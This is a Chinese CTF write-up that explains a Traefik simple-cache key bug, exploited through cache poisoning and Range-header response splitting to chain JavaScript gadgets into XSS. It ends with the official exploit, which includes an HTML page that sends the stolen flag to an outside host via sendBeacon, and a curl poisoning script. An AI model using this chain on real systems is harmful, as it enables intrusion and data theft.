赛后拿wp来学习分析
主要是一个请求处理的差异
const { FLAG, SECRET } = process.env;
const PORT = 3000;
const app = express();
app.use(express.urlencoded({ extended: true }));
const sleep = d => new Promise(r => setTimeout(r, d));
let browser;
const visit = async (url) => {
try {
if (browser) {
await browser.close();
await sleep(2000);
console.log("Terminated ongoing job.");
}
browser = await puppeteer.launch({
browser: 'chrome',
headless: true,
args: [
"--disable-features=HttpsFirstBalancedModeAutoEnable",
"--no-sandbox"
]
});
const ctx = await browser.createBrowserContext();
page = await ctx.newPage();
await page.goto(`http://traefik/flag`, { timeout: 3000, waitUntil: 'domcontentloaded' });
await page.evaluate((flag) => {
localStorage.setItem('flag', flag);
}, FLAG);
await sleep(500);
await page.close();
page = await ctx.newPage();
await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' });
await sleep(1000 * 60 * 2);
await browser.close();
browser = null;
} catch (err) {
console.log(err);
} finally {
console.log('close');
if (browser) await browser.close();
}
};
app.listen(PORT, () => {
console.log(`Server running on http://localhost:${PORT}`);
});
config
http:
routers:
bot:
rule: 'PathPrefix(`/bot`)'
service: bot
dashboard:
rule: "PathPrefix(`/dashboard`) || PathPrefix(`/api`)"
service: api@internal
services:
bot:
loadBalancer:
servers:
- url: "http://bot:3000"
middlewares:
cache-on-steroids:
plugin:
plugin-simplecache:
path: /tmp/
CacheQueryParams: True
maxage:
headers:
customResponseHeaders:
Cache-Control: "max-age=20"
coop:
headers:
customResponseHeaders:
Cross-Origin-Opener-Policy: "same-origin"
log:
level: INFO
accessLog: {}
entryPoints:
web:
address: ":80"
http:
middlewares:
- maxage
- coop
- cache-on-steroids
providers:
file:
filename: /config/dynamic.yml
api:
dashboard: true
experimental:
plugins:
plugin-simplecache:
moduleName: "github.com/scrazy77/plugin-simplecache-nocache"
version: "v0.0.5"
官方wp中写到
Find a bug in the Simple Cache library that ignores the ? in the cache key.
看到说是此简单缓存库中有对于?
缓存键忽略的错误,我去到官方文档在cache.go这个文件中找到漏洞点
func (m *cache) cacheKey(r *http.Request) string {
if m.cfg.CacheQueryParams {
return r.Method + r.Host + r.URL.Path + r.URL.RawQuery
}
return r.Method + r.Host + r.URL.Path
}
r.URL.Path
:只包含 URL 的路径部分,会忽略 ?
r.URL.RawQuery
:只包含 URL 中 ?
及其后面的原始查询字符串
有一个CacheQueryParams
的配置选项,如果启用则?
之后的查询参数会被考虑在内,可以看出是r.URL.Path
的问题,其字段会自动忽略URL中的查询字符串
题目可能是将此设置为false
,在此默认配置下会只使用r.URL.Path
也就是说http://example.com/assets/dashboard
和 http://example.com/assets/dashboard?/malicious-script
)这两个URL,生成的缓存键是完全相同的 (GETexample.com/assets/dashboard
)
所以我们可以利用带有问号的恶意URL来投毒正常的URL路径所对应的缓存条目
官方提到http://traefik/assets/dashboard/ABC
并http://traefik/assets/dasboard?/ABC
具有相同的缓存键,也就是说我们可以向
我总结下来的做法就是,利用漏洞构造缓存键,进行缓存污染,然后投毒缓存,从而加载其中的main-v1.js,然后利用加载器,分别去构造执行”小工具”(e=this, t=e.name, i=t, s=2)最后执行setTimeout(i,t,s) → 实际运行 setTimeout(window.name),然后window.name我们是可控的,从而使得恶意js被执行,XSS就能成功
接下来我来一步步解释
他是根据这个js文件当中Default-qPSf0Yui.js
,我自己仔细去看了用到的js文件
包含一个动态创建新脚本元素的代码片段,即他可以动态加载脚本,该代码片段创建了一个指向的新脚本元素/dashboard/traefiklabs-hub-button-app/main-v1.js
,可以创建<script>
标签的加载器
可以这么理解,之所以要利用api-DHmvWmr7.js
和Default-qPSf0Yui.js
这俩文件是因为一个作为投毒目标,一个作为加载器工具
http://traefik/assets/api-DHmvWmr7.js使用该漏洞,通过使用任意文件(例如)替换资产来毒害缓存http://traefik/assets/Default-qPSf0Yui.js
响应Range:bytes=X-Y已经被缓存,从而实现响应拆分
wp是根据构造工具利用链达到响应拆分的目的的
e=this
t.e.name
i=t
s=2
setTimeout(i,t,s)
解释一下为什么要构造这些
e = this
在浏览器上下文中,this 指向 window
这一步是为了让我们后续可以访问e.localStorage
t = e.name
浏览器的 window.name 是可写可读的
假如我们提前设置了一个恶意 payload
<iframe name="alert(1)" src="...">
所以e.name实际是我们控制的JavaScript字符串
i = t
准备第一个参数作为函数名字符串
在 JavaScript 中,setTimeout的第一个参数可以是字符串
如果是字符串,会当作 JS 代码来执行
s = 2
设置 setTimeout 的第三个参数(延迟时间)
curl
每个小工具都是通过发出带有标头的请求获得的Range: bytes=X-Y
:
curl -H "Host: traefik" "http://busytraffic.web.jctf.pro:10001/dashboard/<some_asset>" -H "Range: bytes=X-Y"
第一步
构造e = this
其中在Default-qPSf0Yui.js
找到对应的能利用到的代码
curl -H "Host: traefik" "http://busytraffic.web.jctf.pro:10001/dashboard/assets/Default-qPSf0Yui.js?/../..//assets/api-DHmvWmr7.js" -H "Range: bytes=2556-2769"
利用?
触发缓存键漏洞,会省略?
,所以会生成缓存键traefik/dashboard/assets/Default-qPSf0Yui.js/../..//assets/api-DHmvWmr7.js
,此payload是响应Default-qPSf0Yui.js
中的一段字节内容,然后被存放到这个缓存键当中了
缓存的部分是
const o=document.createElement("script");o.async=!0,o.onload=()=>{this.hasHubButtonComponent=customElements.get("hub-button-app")!==void 0},o.src="traefiklabs-hub-button-app/main-v1.js",document.head.appendChild(o)
然后我们就可以继续利用,去分段构造“小工具”
# e=this
curl -H "Host: traefik" "$server/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/traefiklabs-hub-button-app/main-v1.js" -H "Range: bytes=27107-27112"
因为污染了api-xxx这个缓存,注入了加载器gadget,所以就包含了main-v1.js,去其中去构造出e=this
我也在其中找到了
这边构造好了这个e=this,接下来就是去执行它
echo -e "\nvisit http://$domain/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/udp/a"
第二步
构造t = e.name
curl -H "Host: traefik" "$server/dashboard/assets/Default-qPSf0Yui.js?/../..//assets/Routers-fM5flT_A.js" -H "Range: bytes=2556-2769" -s > /dev/null
这一步仍然是去弄加载器,只不过换了另一个缓存键去投毒
接下来就是继续构造片段内容
# t=e.name
curl -H "Host: $domain" "$server/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/traefiklabs-hub-button-app/main-v1.js" -H "Range: bytes=181318-181325"
接下来就是去执行
echo -e "\nvisit http://$domain/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/udp/routers"
第三步
构造i=t
curl -H "Host: $domain" "$server/dashboard/assets/Default-qPSf0Yui.js?/../..//assets/Routers-0BHxg3Xd.js" -H "Range: bytes=2556-2769" -s > /dev/null
解释和上面一样,投入加载器,也就是投了那段可用内容后,接着去构造
# i=t
curl -H "Host: $domain" "$server/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/traefiklabs-hub-button-app/main-v1.js" -H "Range: bytes=76147-76149"
然后去执行,即设置好我们所构造的这个
echo -e "\nvisit http://$domain/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/udp/routers"
第四步
构造s=2
curl -H "Host: $domain" "$server/dashboard/assets/Default-qPSf0Yui.js?/../..//assets/Routers-Cq0wFHi0.js" -H "Range: bytes=2556-2769" -s > /dev/null
一样的流程
curl -H "Host: $domain" "$server/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/traefiklabs-hub-button-app/main-v1.js" -H "Range: bytes=2082-2084"
执行设置
echo -e "\nvisit http://$domain/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/tcp/routers"
最后一步!
构造setTimeout(i,t,s)
这次不一样了,是在Index-C0I-aNet.js
中找到了这个字段内容
curl -H "Host: $domain" --path-as-is "$server/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/assets/Index-C0I-aNet.js" -H "Range: bytes=13217-13233"
最后构造好了执行
echo -e "\nvisit http://$domain/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/"
执行疑问
那这时候就要问了,为什么最后执行的都是这些呢?#/udp/a
,#/udp/routers
……..
这就需要去看到每次所利用的缓存键中的js文件了,因为他们要加载的话需要依赖模块
比如:这个 Routers-fM5flT_A.js
就是 /udp/routers
对应的页面 JS 模块
其他的都是一次类推,可以查看到的
放上官方的利用构造链,以便理解
No | URL Fragment | Poisoned Asset | Gadget |
---|---|---|---|
1. | #/udp/a | api-DHmvWmr7.js | e=this |
2. | #/udp/routers | Routers-fM5flT_A.js | t=e.name |
3. | #/http/routers | Routers-0BHxg3Xd.js | i=t |
4. | #/tcp/routers | Routers-Cq0wFHi0.js | s=2 |
5. | #/ | Index-C0I-aNet.js | setTimeout(i,t,s) |
可以通过使用 Host:traefik
发送请求来在 http://traefik
上执行缓存中毒
总结
从利用链上可以清晰的理解到这道题具体是怎么完成的
漏洞利用脚本
<body></body>
<script>
const DOMAIN = 'http://traefik';
const sleep = d => new Promise(r=>setTimeout(r,d));
const EXFIL = 'https://terjanq.me/exfil';
const XSS = `
var win = window.open("${DOMAIN}/%GG");
setTimeout(()=>{
navigator.sendBeacon("${EXFIL}/flag", win.localStorage.getItem("flag"));
}, 1000);
`;
const URLS = [
`${DOMAIN}/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/udp/a`,
`${DOMAIN}/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/udp/routers`,
`${DOMAIN}/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/http/routers`,
`${DOMAIN}/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/tcp/routers`,
`${DOMAIN}/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/`
]
onload = async () => {
const ifr = document.createElement('iframe');
ifr.name = XSS;
document.body.appendChild(ifr);
ifr.src = URLS[0];
const win = ifr.contentWindow;
await sleep(30_000);
win.location = URLS[1];
await sleep(30_000);
win.location = URLS[2];
await sleep(30_000);
win.location = URLS[3];
await sleep(1_000);
win.location = URLS[4];
}
</script>
#!/bin/bash
# localhost:3333 traefik
domain="traefik"
server="http://busytraffic.web.jctf.pro:11001"
# Spawn a script to ./traefiklabs-hub-button-app/main-v1.js at http://localhost:3333/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/udp/a
curl -H "Host: $domain" "$server/dashboard/assets/Default-qPSf0Yui.js?/../..//assets/api-DHmvWmr7.js" -H "Range: bytes=2556-2769"
echo -e ""
# e=this
curl -H "Host: $domain" "$server/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/traefiklabs-hub-button-app/main-v1.js" -H "Range: bytes=27107-27112"
echo -e "\nvisit http://$domain/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/udp/a"
sleep 28s
# Spawn a script to ./traefiklabs-hub-button-app/main-v1.js at http://localhost:3333/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/udp/routers
curl -H "Host: $domain" "$server/dashboard/assets/Default-qPSf0Yui.js?/../..//assets/Routers-fM5flT_A.js" -H "Range: bytes=2556-2769" -s > /dev/null
# t=e.name
curl -H "Host: $domain" "$server/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/traefiklabs-hub-button-app/main-v1.js" -H "Range: bytes=181318-181325"
echo -e "\nvisit http://$domain/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/udp/routers"
sleep 28s
# Spawn a script to ./traefiklabs-hub-button-app/main-v1.js at http://localhost:3333/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/http/routers
curl -H "Host: $domain" "$server/dashboard/assets/Default-qPSf0Yui.js?/../..//assets/Routers-0BHxg3Xd.js" -H "Range: bytes=2556-2769" -s > /dev/null
# i=t
curl -H "Host: $domain" "$server/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/traefiklabs-hub-button-app/main-v1.js" -H "Range: bytes=76147-76149"
echo -e "\nvisit http://$domain/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/http/routers"
sleep 28s
# Spawn a script to ./traefiklabs-hub-button-app/main-v1.js at http://localhost:3333/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/tcp/routers
curl -H "Host: $domain" "$server/dashboard/assets/Default-qPSf0Yui.js?/../..//assets/Routers-Cq0wFHi0.js" -H "Range: bytes=2556-2769" -s > /dev/null
# s=2
curl -H "Host: $domain" "$server/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/traefiklabs-hub-button-app/main-v1.js" -H "Range: bytes=2082-2084"
echo -e "\nvisit http://$domain/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/tcp/routers"
sleep 1
# Execute XSS at http://localhost:3333/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/
# setTimeout(i,t,s)
curl -H "Host: $domain" --path-as-is "$server/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/assets/Index-C0I-aNet.js" -H "Range: bytes=13217-13233"
echo -e "\nvisit http://$domain/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/"
echo ''
总得来说,这个题出的很精妙,只不过要去拼凑和构造有些麻烦,还有就是投毒可能不成功,导致接收不到,多打几次才行